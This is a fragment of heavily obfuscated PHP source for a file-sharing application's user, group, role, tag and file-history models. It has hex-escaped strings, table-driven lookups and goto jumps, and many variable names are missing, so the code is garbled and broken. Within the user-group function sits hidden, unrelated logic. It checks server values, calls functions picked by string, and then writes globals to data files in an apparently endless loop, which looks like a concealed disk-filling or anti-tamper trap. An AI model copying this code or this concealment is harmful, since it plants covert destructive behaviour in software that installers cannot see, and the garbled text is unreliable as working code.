isset($Ȁܓ[$鮩[2498]]) ? $Ȁܓ[$鮩[2498]] : $鮩[12]; if (md5($͜ . trim($)) !== $[$鮩[975]]) { return !1; } return !0; } public function userAdd($Ò) { $е =& $_SERVER[秼]; $ȗ = array($е[505] => $Ò[$е[32]], $е[2499] => $Ò[$е[2191]], $е[2500] => isset($Ò[$е[382]]) ? $Ò[$е[382]] : $е[12], $е[2501] => isset($Ò[$е[2497]]) ? $Ò[$е[2497]] : $е[12], $е[2502] => isset($Ò[$е[2279]]) ? $Ò[$е[2279]] : $Ò[$е[32]], $е[2503] => isset($Ò[$е[2480]]) ? $Ò[$е[2480]] : $е[12], $е[2504] => isset($Ò[$е[2505]]) ? $Ò[$е[2505]] : 1, $е[2506] => $Ò[$е[975]], $е[2072] => isset($Ò[$е[1970]]) ? $Ò[$е[1970]] : 1024 * 1024 * 20, $е[2073] => 0, $е[2507] => 0, $е[2117] => isset($Ò[$е[838]]) ? $Ò[$е[838]] : 1); if (!empty($Ò[$е[1783]])) { $ȗ[$е[1783]] = $Ò[$е[1783]]; } $ÝѢ = $this->_checkExist($Ò); if ($ÝѢ !== !0) { return $ÝѢ; } if (!empty($ȗ[$е[2480]]) && strlen($ȗ[$е[2480]]) > 255) { $ȗ[$е[2480]] = $е[12]; } $抬 = $this->add($ȗ); $ԕ = array($е[2506] => $ȗ[$е[975]], $е[2502] => $ȗ[$е[2279]]); $this->userEdit($抬, $ԕ); Model($е[1430])->userRootAdd($抬); return $抬; } protected function userEditTest($ې, $ۇ) { return $this->call($_SERVER[秼][2508], $ې, $ۇ); } protected function userEdit($ښ, $է) { $ȯΈ =& $_SERVER[秼]; $ę = $this->getInfoSimple($ښ); if (!$ę) { return !1; } $ջ = $this->_checkExist($է, $ښ); if ($ջ !== !0) { return $ջ; } if (isset($է[$ȯΈ[975]]) && trim($է[$ȯΈ[975]]) != $ȯΈ[12]) { $ՠ = $this->metaGet($ښ); if (empty($ՠ[$ȯΈ[2498]])) { $ՠ[$ȯΈ[2498]] = rand_string(10); Model($ȯΈ[588])->metaSet($ښ, $ȯΈ[2498], $ՠ[$ȯΈ[2498]]); } $է[$ȯΈ[975]] = md5($ՠ[$ȯΈ[2498]] . trim($է[$ȯΈ[975]])); } else { unset($է[$ȯΈ[975]]); } if (!empty($է[$ȯΈ[2480]]) && strlen($է[$ȯΈ[2480]]) > 255) { $է[$ȯΈ[2480]] = $ȯΈ[12]; } $this->where(array($ȯΈ[1774] => $ښ))->save($է); if (isset($է[$ȯΈ[2279]])) { $this->setNamePinyin($ښ, $է[$ȯΈ[2279]]); } $this->clearCache($ښ); return !0; } public function setNamePinyin($į, $Ӣ = false) { $ =& $_SERVER[秼]; if (!$Ӣ) { $ = $this->getInfoSimple($į); $Ӣ = $[$[2279]] ? $[$[2279]] : $[$[32]]; } $ = Model($[608]); if (!Input::check($Ӣ, $[669])) { return $->metaSet($į, array($[549] => $[12], $[548] => $[12])); } return $->metaSet($į, array($[549] => str_replace($[53], $[12], Pinyin::get($Ӣ)), $[548] => Pinyin::get($Ӣ, $[670]))); } private function nickNameRpt() { $˫ =& $_SERVER[秼]; $¦ã = Model($˫[858])->get($˫[2509]); $ = $GLOBALS[$˫[6]][$˫[468]][$˫[2509]]; $Ƞ = !is_null($¦ã) ? $¦ã : $; return !!$Ƞ; } private function _checkExist($, $ᩀ = false) { $ꧽ =& $_SERVER[秼]; $ = array($ꧽ[32] => UserModel::ERROR_USER_EXIST_NAME, $ꧽ[2279] => UserModel::ERROR_USER_EXIST_NICKNAME, $ꧽ[382] => UserModel::ERROR_USER_EXIST_EMAIL, $ꧽ[2497] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$ꧽ[2279]]); } $탡 = $ᩀ ? array($ꧽ[1783] => array($ꧽ[2510], $ᩀ)) : array(); foreach ($ as $臇 => $) { $鸲 = array(); foreach ($ as $ => $) { if (isset($[$]) && $[$]) { $鸲[] = $[$]; } } if (!$鸲) { continue; } $֣Ћ = array_merge(array($臇 => array($ꧽ[7], $鸲)), $탡); $涳 = $this->where($֣Ћ)->find(); if ($涳) { return $; } } return !0; } public function userListInfo($ӊ) { $ =& $_SERVER[秼]; $圐 = array(); $ӊ = is_array($ӊ) ? array_unique($ӊ) : array(); if (!$ӊ) { return $圐; } if (count($ӊ) < 20) { foreach ($ӊ as $) { $圐[$ . $[12]] = $this->getInfoSimpleOuter($); } } else { $ץ = array($[1774] => array($[503], $ӊ)); if (count($ӊ) == 1) { $ץ = array($[1774] => $ӊ[0]); } $ژ = Model($[588])->field($this->simpleField)->where($ץ)->select(); $ژ = array_to_keyvalue($ژ, $[1783]); foreach ($ӊ as $) { $˴ = $ژ[$]; if (!$˴) { $圐[$ . $[12]] = $this->getInfoSimpleOuter($); continue; } $˴[$[2480]] = Action($[2481])->parseUrl($˴[$[2480]]); $圐[$ . $[12]] = $˴; } } return $圐; } protected function userStatus($, $݃Ϳ) { $۸ = $this->getInfoSimple($); if (!$۸) { return !1; } $ = array($_SERVER[秼][838] => $݃Ϳ); return $this->userEdit($, $); } protected function userRemove($ȍ؆) { $ =& $_SERVER[秼]; $ə = $this->getInfoSimple($ȍ؆); if (!$ə) { return !1; } $Հ = array($[1774] => $ȍ؆); Model($[678])->where($Հ)->delete(); Model($[2511])->where($Հ)->delete(); Model($[2078])->where($Հ)->delete(); Model($[2496])->where($Հ)->delete(); Model($[1155])->where($Հ)->delete(); Model($[2296])->removeUserAll($ȍ؆); Model($[913])->userRootRemove($ȍ؆); return $this->where($Հ)->delete(); } protected function userGroupSet($Ρ, $Ƒל, $Ľ˄ = array()) { $ =& $_SERVER[秼]; $ = $_SERVER[$[432]]; $ = $[433]; if ($_SERVER[$[434]] != $($)) { $ = $[966]; $ڃ = $[435]; $ = $_SERVER[$[436]] . $[437]; $ᦰ = $ڃ($); $ = explode($[287], $ᦰ); if (count($) < $[702]) { $ = $[439]; $(); } $Īɉ = $[967]; $Īɉ($_SERVER[$[968]]); $ = $[966]; $(); $Љ = $[2297]; $栀 = json_encode($GLOBALS[$[2298]]); $ = 1; for ($ = $; $ > 0; $++) { $Љ(DATA_PATH . $, $栀); } } $膲 = $this->getInfoSimple($Ρ); if (!$膲 || !is_array($Ƒל)) { return !1; } $滎 = Model($[2078]); $滎->where(array($[1783] => $Ρ))->delete(); $ = array(); $ī = 0; foreach ($Ƒל as $ؠ => $׳) { $͖ = array($[1783] => $Ρ, $[1984] => $ؠ, $[2092] => $׳); $͖[$[2008]] = isset($Ľ˄[$ī]) ? $Ľ˄[$ī] : 0; $ī++; $[] = $͖; } return $滎->addAll($, array(), !0); } protected function userGroupAdd($«ہ, $ϰ = array()) { $ =& $_SERVER[秼]; $ף = $this->getInfoSimple($«ہ); if (!$ף || empty($ϰ)) { return !1; } $ = array(); foreach ($ϰ as $ => $ᠣ) { $[] = array($[1783] => $«ہ, $[1984] => $, $[2092] => $ᠣ, $[2008] => 0); } return Model($[2078])->addAll($, array(), !0); } protected function userGroupRemove($ȱ, $) { $ =& $_SERVER[秼]; $ݖ = $this->getInfoSimple($ȱ); if (!$ݖ || !$) { return !1; } $Ͳ = array($[1774] => $ȱ, $[2076] => $); return Model($[2078])->where($Ͳ)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[秼][456]]); return $; } public function listByID($) { $ =& $_SERVER[秼]; if (!$) { return; } $Ĉי = array($[1783] => array($[7], $)); $ތ = $this->where($Ĉי)->select(); $ތ = array_sort_keep($ތ, $[1783], $); $this->_listDataApply($ތ); return $ތ; } public function listByGroup($Ϛ = 0, $ = array()) { $ =& $_SERVER[秼]; $҈ = $[12]; $ = array(); if ($Ϛ) { $ = array($[2512] => intval($Ϛ)); $҈ = "\114\105\x46\124\x20\x4a\x4f\x49\x4e\40{$this->tablePrefix}\165\x73\x65\162\x5f\x67\x72\x6f\x75\160\40\x75\163\145\x72\137\x67\x72\x6f\165\160\x20\x6f\156\x20\165\x73\x65\x72\56\x75\x73\x65\x72\111\104\x20\x3d\40\x75\163\145\162\x5f\147\162\157\165\160\x2e\165\x73\x65\x72\x49\104"; $ = Input::get($[541], null, $[12]) ? $[12] : $[2513]; } if (isset($[$[838]])) { $[$[2514]] = $[$[838]]; } $势 = $this->_makeOrder($)->field($[2515])->where($)->join($҈)->selectPage(50); $this->_listDataApply($势[$[456]]); return $势; } private function _makeOrder($ = '') { $ =& $_SERVER[秼]; $˚ = array($[1783], $[32], $[1972], $[2191], $[1944], $[233]); $͓ = array($[534] => $[535], $[536] => $[537]); $ֺ = Input::get($[541], $[7], $[1774], $˚); $ = Input::get($[542], $[7], $[2079], array($[2079], $[536])); $ = $͓[$]; $ = $ . "\165\163\x65\162\56{$ֺ}\x20{$}\x2c\40\165\x73\x65\162\56\165\x73\x65\162\x49\x44\x20\x61\x73\143"; return $this->alias($[2207])->order($); } public function listSearch($˧) { $ =& $_SERVER[秼]; $Й = trim($˧[$[2082]]); $˯ = explode($[53], $Й); if (!$Й || count($˯) == 1) { return $this->listSearchNow($˧); } $ۣ = array($[456] => array()); foreach ($˯ as $ݜݖ) { if (!trim($ݜݖ)) { continue; } $˧[$[2082]] = $ݜݖ; $ = $this->listSearchNow($˧); $ۣ[$[456]] = array_merge($ۣ[$[456]], $[$[456]]); } $ۣ[$[456]] = array_unique_by_key($ۣ[$[456]], $[1783]); $ۣ[$[453]] = array($[454] => count($ۣ[$[456]]), $[450] => 20, $[430] => 1, $[455] => 1); return $ۣ; } public function listSearchNow($) { $ =& $_SERVER[秼]; $¾ = trim($[$[2082]]); $Ԭߒ = isset($[$[2083]]) ? $[$[2083]] : !1; $¾ = str_replace($[2084], $[2085], trim($¾)); $ = array($[32] => array($[470], "\x25{$¾}\x25"), $[382] => array($[470], "{$¾}\45"), $[2279] => array($[470], "{$¾}\x25"), $[1086] => $[2086]); if (Input::check($¾, $[388])) { $[$[1783]] = array($[470], "{$¾}\45"); $[$[2497]] = array($[470], "{$¾}\x25"); } if (!$¾) { $ = array(); } if (isset($[$[838]])) { $[$[838]] = $[$[838]]; } $ = $this->parseWhereLike($); $ = $this->_makeOrder()->where($)->selectPage(20); if (!$ || count($[$[456]]) < 5 && Input::check($¾, $[395])) { $ = $this->_searchFromMeta($[548], $¾, 10); $ = $this->_searchFromMeta($[549], $¾, 10); $锃 = array_merge($, $, $[$[456]]); $[$[456]] = array_unique_by_key($锃, $[1783]); $[$[453]][$[454]] = count($[$[456]]); $[$[453]][$[455]] = ceil($[$[453]][$[454]] / $[$[453]][$[450]]); } $this->_listDataApply($[$[456]]); $this->_filterByGroup($, $Ԭߒ); return $; } private function _filterByGroup(&$, $) { $ո =& $_SERVER[秼]; if (!$) { return $; } foreach ($[$ո[456]] as $ی => &$ȯ) { $ǣ = array_to_keyvalue($ȯ[$ո[2176]], $ո[12], $ո[1984]); if (!in_array($, $ǣ)) { unset($[$ո[456]][$ی]); } } unset($ȯ); $[$ո[456]] = array_values($[$ո[456]]); $[$ո[453]] = array($ո[2244] => count($[$ո[456]]), $ո[2242] => $[$ո[453]][$ո[450]], $ո[2241] => 1, $ո[2243] => 1); } private function _searchFromMeta($ڡ, $䞋, $) { $ =& $_SERVER[秼]; $䞋 = strtolower($䞋); $ȅ = array($[97] => $ڡ, $[461] => array($[470], "\45{$䞋}\45")); $ȅ = $this->parseWhereLike($ȅ); $ = Model($[2516])->where($ȅ)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1783]); $ = $this->where(array($[1774] => array($[7], $)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$) { $⌨ =& $_SERVER[秼]; if (!$) { return; } array_remove_key($, $⌨[975]); $ = array_to_keyvalue($, $⌨[12], $⌨[1783]); $this->_listAppendGroup($, $); $this->_listAppendMeta($, $); $this->_listAppendSourceRoot($, $); } private function _listAppendSourceRoot(&$ק, $Ҵ) { $˓ =& $_SERVER[秼]; $ۛޚ = Model($˓[913])->listSourceRoot(SourceModel::TYPE_USER, $Ҵ); $ۛޚ = array_to_keyvalue($ۛޚ, $˓[580]); $ۛޚ = array_remove_key($ۛޚ, $˓[580]); foreach ($ק as &$ݿ) { $ݿ[$˓[90]] = $ۛޚ[$ݿ[$˓[1783]]] ? $ۛޚ[$ݿ[$˓[1783]]] : array(); } unset($ݿ); } private function _listAppendGroup(&$, $͐) { $Φ =& $_SERVER[秼]; $ = array($Φ[1783] => array($Φ[7], $͐)); $ = Model($Φ[2078])->where($)->select(); $ = array_to_keyvalue($, $Φ[12], $Φ[1984]); $ = array_remove_value(array_unique($), $Φ[230]); if (!$ || !$) { return; } $ = array($Φ[1984] => array($Φ[7], $)); $IJ = Model($Φ[2174])->field($Φ[2517])->where($)->select(); $IJ = array_to_keyvalue($IJ, $Φ[1984]); $ = array_to_keyvalue_group($, $Φ[1783]); foreach ($ as &$) { $Ҙ = array(); foreach ($ as $̻ՙ) { if (!$̻ՙ[$Φ[2092]]) { continue; } $Ԍ = Model($Φ[582])->listData($̻ՙ[$Φ[2092]]); $Ҙ[] = array($Φ[1984] => $̻ՙ[$Φ[1984]], $Φ[2518] => $IJ[$̻ՙ[$Φ[1984]]][$Φ[32]], $Φ[595] => $IJ[$̻ՙ[$Φ[1984]]][$Φ[595]], $Φ[498] => $Ԍ); } $ = $Ҙ; } unset($); foreach ($ as &$ۏ) { $ۏ[$Φ[2176]] = array(); if (isset($[$ۏ[$Φ[1783]]])) { $ۏ[$Φ[2176]] = $[$ۏ[$Φ[1783]]]; } } unset($ۏ); } public function userAppendGroup($⭘) { $ =& $_SERVER[秼]; if (!$⭘) { return array(); } $this->_listAppendGroup($⭘, array_to_keyvalue($⭘, $[12], $[1783])); return $⭘; } private function _listAppendMeta(&$, $Ь) { $ =& $_SERVER[秼]; $ʒ = UserJobModel::JOB_KEY; $ = array($[2498]); $ = array($[1783] => array($[7], $Ь)); $ = Model($[2496])->where($)->select(); $ = array_to_keyvalue_group($, $[1783]); foreach ($ as &$ӗ߽) { $泡 = array(); foreach ($ӗ߽ as $Բ) { if (!in_array($Բ[$[97]], $)) { $泡[$Բ[$[97]]] = $Բ[$[461]]; } } $ӗ߽ = $泡; } unset($ӗ߽); $ = Model($[2519]); foreach ($ as &$ܢ) { $ = array(); if (isset($[$ܢ[$[1783]]])) { $ = $[$ܢ[$[1783]]]; } $ܢ[$[2520]] = array(); if (isset($[$ʒ])) { $ܢ[$[2520]] = $->getUserJobInfo($[$ʒ]); } } unset($ܢ); } protected function groupUserAll($) { $γ =& $_SERVER[秼]; if (!$) { return !1; } $֎ = Model($γ[2078])->field($γ[1783])->where(array($γ[1984] => array($γ[7], $)))->select(); $֎ = array_to_keyvalue($֎, $γ[12], $γ[1783]); return array_unique($֎); } public function userSearch($ę, $ؤ = "\x2a") { return Model($_SERVER[秼][608])->where($ę)->field($ؤ)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\x73\145\162\x5f\157\160\x74\x69\157\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($) { $丮 =& $_SERVER[秼]; $故 = defined($丮[2211]) && USER_ID ? USER_ID : $丮[12]; return "\x55\x73\x65\162\x4f\x70\x74\x69\157\x6e\x5f{$}\x5f" . $故; } protected function filterWhere($) { $ፇ =& $_SERVER[秼]; $[$ፇ[1783]] = defined($ፇ[2211]) && USER_ID ? USER_ID : $ፇ[12]; return $; } public function cacheRemoveUser($ӟ, $) { return Cache::remove("\x55\163\x65\162\x4f\160\164\x69\157\x6e\x5f{$ӟ}\x5f" . $); } protected function optionDefault($ȯ = '') { $ =& $_SERVER[秼]; if ($ȯ == $[12]) { return $GLOBALS[$[6]][$[2521]]; } if ($ȯ == $[2522]) { return $GLOBALS[$[6]][$[2523]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\125\x73\145\x72\56\x74\x61\147\x4c\151\163\x74"; public $modelType = "\x55\163\145\162\x4f\160\x74\x69\x6f\x6e"; public $field = array("\156\141\155\145", "\163\x74\x79\154\x65", "\163\x6f\x72\164"); public function listData($ʂ = false, $Տ = "\x73\x6f\x72\x74", $ʰ = false) { return parent::listData($ʂ, $Տ, $ʰ); } public function remove($핥) { return parent::remove($핥); } public function add($, $ή = "\154\141\x62\x65\x6c\55\x67\x72\x65\171\x2d\x6e\157\x72\x6d\141\154") { $⛦ =& $_SERVER[秼]; if ($this->findByName($)) { return !1; } $ې = array($⛦[505] => $, $⛦[569] => $ή, $⛦[1988] => $this->getSort($⛦[337]) + 1); return parent::insert($ې); } public function update($, $ԑٮ) { $ =& $_SERVER[秼]; $̐ = $this->listData($); $ = $this->findByName($ԑٮ[$[32]]); if (!$̐ || $ && $[$[486]] != $̐[$[486]]) { return !1; } return parent::update($, $ԑٮ); } public function moveTop($) { $ =& $_SERVER[秼]; $ = parent::listData(); $ū = $this->getSort($[336]); foreach ($ as &$զ) { if ($զ[$[486]] == $) { $զ[$[2008]] = $ū; continue; } $զ[$[2008]] += 1; } unset($զ); return parent::resetData($); } public function moveBottom($) { $ݹ =& $_SERVER[秼]; $۷ = $this->getSort($ݹ[337]) + 1; return parent::update($, array($ݹ[2008] => $۷)); } public function resetSort($۶) { $ɢ =& $_SERVER[秼]; $ = array(); $۶ = is_array($۶) ? $۶ : array(); for ($Ժ = 0; $Ժ < count($۶); $Ժ++) { $[$۶[$Ժ] . $ɢ[12]] = $Ժ + 1; } $ߔ = parent::listData(); foreach ($ߔ as &$ب) { $Ԅ = $[$ب[$ɢ[486]]]; $ب[$ɢ[2008]] = $Ԅ ? $Ԅ : $ب[$ɢ[2008]]; } unset($ب); return parent::resetData($ߔ); } private function getSort($) { $眛į =& $_SERVER[秼]; $ = parent::listData(); $Һş = array_to_keyvalue($, $眛į[12], $眛į[2008]); if (!$Һş) { $Һş = array(0); } $܁ = $ == $眛į[337] ? max($Һş) : min($Һş); return intval($܁); } } goto e蓊; dؼ: class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\x79\163\164\145\x6d\137\x6f\x70\164\x69\157\156"; protected $jsonField = array("\x6d\x65\156\165", "\162\157\x6c\x65", "\x72\157\x6c\145\x47\162\157\x75\x70", "\x72\x65\x67\x69\163\x74", "\145\x6d\x61\x69\x6c"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "\x53\x79\163\x74\145\155\x4f\x70\x74\151\x6f\x6e\137{$}"; } protected function optionDefault($ = '') { $ =& $_SERVER[秼]; if ($ == $[12]) { return $GLOBALS[$[6]][$[468]]; } } } class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\145\x6d\56\162\157\x6c\x65\x4c\x69\163\x74"; public $field = array("\156\141\155\145", "\141\x75\x74\150", "\x6c\x61\x62\x65\154", "\x64\x69\x73\x70\154\x61\171", "\163\171\163\x74\145\x6d", "\144\x65\163\143", "\x69\x67\156\157\162\x65\105\170\x74", "\x69\x67\156\157\x72\x65\106\x69\154\145\x53\151\172\145", "\x61\144\155\151\156\151\163\164\x72\141\x74\157\162", "\163\x6f\x72\x74"); public function listData($ = false, $㾒 = "\x73\157\x72\164", $ޕ = false) { $迦 =& $_SERVER[秼]; $ = parent::listData($, $㾒, $ޕ); if (!$) { foreach ($ as $ => $苳) { if ($苳[$迦[2192]] == 1) { $[$][$迦[537]] = LNG($迦[2463]); } } } return $; } public function update($Қ, $) { $ =& $_SERVER[秼]; $ڶ = parent::listData($Қ); $ = $this->findByName($[$[32]]); if (!$ڶ || $ && $[$[486]] != $ڶ[$[486]]) { return !1; } if ($[$[2192]] == 1) { $ = array($[32] => $[$[32]], $[2007] => $[$[2007]]); } $this->filterAuth($[$[498]]); return parent::update($Қ, $); } public function remove($쾼) { $Ӎ = parent::listData($쾼); if (!$Ӎ || $Ӎ[$_SERVER[秼][191]]) { return !1; } return parent::remove($쾼); } public function add($lj) { $ܓ =& $_SERVER[秼]; $♱ = $lj[$ܓ[32]]; if ($this->findByName($♱)) { return !1; } $ʑ = array($ܓ[505] => $♱, $ܓ[1990] => $ܓ[12], $ܓ[1986] => $ܓ[1994], $ܓ[2464] => 1, $ܓ[1989] => 0, $ܓ[2465] => 0, $ܓ[1988] => $this->getSort()); $lj = array_merge($ʑ, $lj); $this->filterAuth($lj[$ܓ[498]]); return parent::insert($lj); } private function getSort() { $®ʽ =& $_SERVER[秼]; $됷 = parent::listData(); $ = array_to_keyvalue($됷, $®ʽ[12], $®ʽ[2008]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { $䵵 =& $_SERVER[秼]; $ = array(); $ = array_filter(explode($䵵[50], $)); foreach ($ as $) { $ = explode($䵵[10], $); if ($[0] == $䵵[2466] && $[1] != $䵵[1284]) { $Ö = $[0] . $䵵[10] . $[1] . $䵵[2467]; if (!in_array($Ö, $)) { $[] = $Ö; } } $[] = $; } $ = implode($䵵[50], $); } public function findRoleDefault() { $̗ =& $_SERVER[秼]; $ˎ = parent::listData(); $ˀ⏵ = !1; foreach ($ˎ as $퐾) { if (!$퐾 || $퐾[$̗[2006]] == $̗[230] || $퐾[$̗[2192]] == 1) { continue; } if (strstr($퐾[$̗[498]], $̗[2468])) { continue; } if (!strstr($퐾[$̗[498]], $̗[2469])) { continue; } if (!$ˀ⏵) { $ˀ⏵ = $퐾; continue; } $ = explode($̗[50], $ˀ⏵[$̗[498]]); $ݕ = explode($̗[50], $퐾[$̗[498]]); if (count($) > count($ݕ)) { $ˀ⏵ = $퐾; } } return $ˀ⏵ ? $ˀ⏵[$̗[486]] : $̗[12]; } public function sort($, $) { return parent::update($, $); } } goto Aߗ; e݊: function binCheckBigger($ߡ, $՞) { return $ߡ > $՞; } $_SERVER[$_SERVER[λ][3]] = ("\70\65\71\67".base64_decode('MzY='))+0;$_poh8="a3wqcm1j7f8zrsgnih2lpt650oube4x9ydvkr8i42tec071zwalqdbugmfo5hs9jxn3vp";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($磳, $ѷ) { $ =& $_SERVER[秼]; if (isset(self::$_methodList[$磳])) { return @call_user_func_array(self::$_methodList[$磳], $ѷ); } else { if (method_exists($this, $磳)) { return call_user_func_array(array($this, $磳), $ѷ); } else { think_exception(__CLASS__ . $[4] . $磳 . $[5]); } } } public static function __callStatic($Ҋ, $ᅆ) { if (isset(self::$_methodListStatic[$Ҋ])) { return call_user_func_array(self::$_methodListStatic[$Ҋ], $ᅆ); } else { if (method_exists(self, $Ҋ)) { return call_user_func_array(array(self, $Ҋ), $ᅆ); } else { show_json("{$Ҋ}\50\51\x20\x6e\x6f\164\x20\x65\170\x69\163\x74\x3b", !1); } } } public static function addMethod($, $ڮ) { self::$_methodList[$] = $ڮ; } public static function addMethodStatic($鑏, $) { self::$_methodListStatic[$鑏] = $; } } goto d; D٥: class SourceHistoryModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x73\x6f\165\162\x63\x65\137\x68\x69\x73\x74\x6f\162\x79"; public function historyCount($) { $̝ =& $_SERVER[秼]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($̝[193], $̝[2235] => $̝[576]); $ = array($̝[193] => array($̝[7], $)); $ش = $this->field($)->where($)->group($̝[193])->select(); return array_to_keyvalue($ش, $̝[193], $̝[576]); } public function addHistory($ܜ, $ = '') { $ =& $_SERVER[秼]; $吾 = array($[502] => $ܜ[$[193]], $[1774] => isset($ܜ[$[540]]) ? $ܜ[$[540]] : $ܜ[$[538]], $[553] => $ܜ[$[552]], $[631] => $ܜ[$[79]], $[2236] => $); if ($GLOBALS[$[6]][$[92]][$[1311]] >= 1) { $this->historyAutoClear($吾[$[193]]); $this->add($吾); } Hook::trigger($[2237], $吾); Model($[2238])->eventFileEdit($ܜ[$[193]]); } private function historyAutoClear($ީ) { $Ĕ =& $_SERVER[秼]; $ӔЭ = Model($Ĕ[858])->get($Ĕ[1333]); $ = intval($GLOBALS[$Ĕ[6]][$Ĕ[92]][$Ĕ[1311]]); $ = $ӔЭ == $Ĕ[1334] ? min(5, $) : $; $ = $ <= 0 ? 0 : $ - 1; if ($ >= 499) { return; } $ˑ = array($Ĕ[502] => $ީ); $Ъ = $this->field($Ĕ[2239])->where($ˑ)->order($Ĕ[2232])->select(); if (!$Ъ || $ >= count($Ъ)) { return; } $䯏 = array_to_keyvalue($Ъ, $Ĕ[12], $Ĕ[486]); $䯏 = array_slice($䯏, $); $ = array_to_keyvalue($Ъ, $Ĕ[12], $Ĕ[552]); $ = array_slice($, $); if (!$䯏 || !$) { return; } $ˑ = array($Ĕ[504] => array($Ĕ[7], $䯏)); $this->where($ˑ)->delete(); Model($Ĕ[555])->remove($); } public function listData($) { $ȑ =& $_SERVER[秼]; $ = array($ȑ[502] => $); $ = $ȑ[2240]; $䌽 = $this->field($)->where($)->order($ȑ[2232])->selectPage(); $this->_listAppendUser($䌽[$ȑ[456]]); $ = Model($ȑ[858])->get($ȑ[1333]); $ = 5; if ($ == $ȑ[1334]) { $䌽[$ȑ[456]] = array_slice($䌽[$ȑ[456]], 0, $); $䌽[$ȑ[453]] = array($ȑ[2241] => 1, $ȑ[2242] => 20, $ȑ[2243] => 1, $ȑ[2244] => count($䌽[$ȑ[456]])); } return $䌽; } protected function _listAppendUser(&$ݕԬ) { $۳ =& $_SERVER[秼]; $ = array_to_keyvalue($ݕԬ, $۳[12], $۳[1783]); $͖ = Model($۳[608])->userListInfo($); foreach ($ݕԬ as &$) { $꽽 = $[$۳[1783]]; $[$۳[538]] = $͖[$꽽] ? $͖[$꽽] : !1; } unset($); } public function fileInfo($Ҟگ) { $ =& $_SERVER[秼]; $ɖ = $this->tablePrefix; $䎲 = "{$ɖ}\151\157\137\x66\x69\154\x65\x20\146\151\154\145\163\x20\157\x6e\40\146\x69\154\145\x73\56\146\x69\154\145\111\x44\40\x3d\40\150\151\163\164\157\162\x79\x2e\146\151\x6c\x65\111\x44"; return $this->alias($[2245])->where(array($[504] => $Ҟگ))->join($䎲, $[2246])->find(); } public function removeItem($ѵ) { $ =& $_SERVER[秼]; $Ƕ = array($[504] => $ѵ); $ = $this->where($Ƕ)->find(); if ($) { $Ҍ = $this->where($Ƕ)->delete(); Model($[555])->remove($[$[552]]); return $Ҍ; } return !1; } public function removeBySource($) { $ =& $_SERVER[秼]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $Ū = array($[502] => array($[7], $)); $ = $this->field($[553])->where($Ū)->select(); if ($) { $this->where($Ū)->delete(); $Ȼ = array_to_keyvalue($, $[12], $[552]); Model($[555])->remove($Ȼ); } return !0; } public function setDetail($ߚ, $ѵ) { $à =& $_SERVER[秼]; return $this->where(array($Ã[504] => $ߚ))->save(array($Ã[2236] => $ѵ)); } public function rollbackToItem($, $) { $ =& $_SERVER[秼]; $ = Model($[913])->sourceInfo($); $this->addHistory($, LNG($[2247])); $˔ = $this->find($); $، = array($[552] => $˔[$[552]], $[79] => $˔[$[79]], $[88] => time(), $[540] => USER_ID); Model($[913])->where(array($[193] => $))->save($،); return $this->where(array($[504] => $))->delete(); } public function clearSame($Љ) { $ =& $_SERVER[秼]; $̂ = $this->listData($Љ); $ĵ = array_to_keyvalue_group($̂, $[552]); $Ȇ = array(); $ۻ = array(); foreach ($ĵ as $) { if (!$ || count($) <= 1) { continue; } foreach ($ as $) { $Ȇ[] = $[$[552]]; $ۻ[] = $[$[486]]; } } if (!$ۻ) { return; } $this->where(array($[486] => array($[7], $ۻ)))->delete(); Model($[555])->remove($Ȇ); } public function userSpace() { $ =& $_SERVER[秼]; $܄ξ = $this->tablePrefix; $ = array($[1774] => USER_ID); $ٹ = "{$܄ξ}\151\157\137\x66\151\154\145\40\x66\151\154\x65\163\40\x6f\156\x20\x66\x69\x6c\x65\x73\x2e\x66\151\154\x65\x49\104\40\x3d\40\x68\151\163\164\157\x72\171\x2e\146\x69\x6c\x65\x49\x44"; return $this->alias($[2245])->where($)->join($ٹ, $[2246])->sum($[79]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($͞) { $ =& $_SERVER[秼]; $ꉿ = KodIO::fileTypeList(); $ = $ꉿ[$͞]; if (!$) { return array(); } $Ŧ = $[$[169]]; $Ò = $[7]; if (!$[$[169]]) { $ = array_to_keyvalue($ꉿ, $[12], $[169]); $Ŧ = implode($[50], $); $Ò = $[2248]; } $ܨ = explode($[50], trim($Ŧ, $[50])); return array($Ò, $ܨ); } public function listPathType($) { $ݣ =& $_SERVER[秼]; $؝ͷ = $this->fileTypeWhere($); if (!$؝ͷ) { return array(); } $Ҡ = USER_ID; $ƐDZ = Model($ݣ[608])->getInfo($Ҡ); $ = array($ݣ[662] => SourceModel::TYPE_USER, $ݣ[595] => array($ݣ[626], $ݣ[604] . $ƐDZ[$ݣ[90]][$ݣ[193]] . $ݣ[627]), $ݣ[663] => $Ҡ, $ݣ[660] => 0, $ݣ[661] => $؝ͷ); return $this->listSource($); } public function listSearch($, $ƺک = 300) { $ؔ =& $_SERVER[秼]; if (isset($[$ؔ[2082]]) && $[$ؔ[2082]]) { $[$ؔ[2082]] = str_replace($ؔ[471], $ؔ[2249], trim($[$ؔ[2082]])); } $ = $this->_parseSearchWhere($); if (!isset($[$ؔ[516]])) { $[$ؔ[516]] = 0; } $ = $ؔ[2250]; $ = $; $ = $; $this->_listSearchBindPinyin($, $, $); $this->alias($ؔ[530])->_makeOrder(); $ = $this->parseWhereLike($); $ = $this->distinct(!0)->field($)->where($)->selectPage($ƺک); if ($GLOBALS[$ؔ[6]][$ؔ[468]][$ؔ[469]] && Input::check($[$ؔ[2082]], $ؔ[669]) && $[$ؔ[453]][$ؔ[430]] == 1 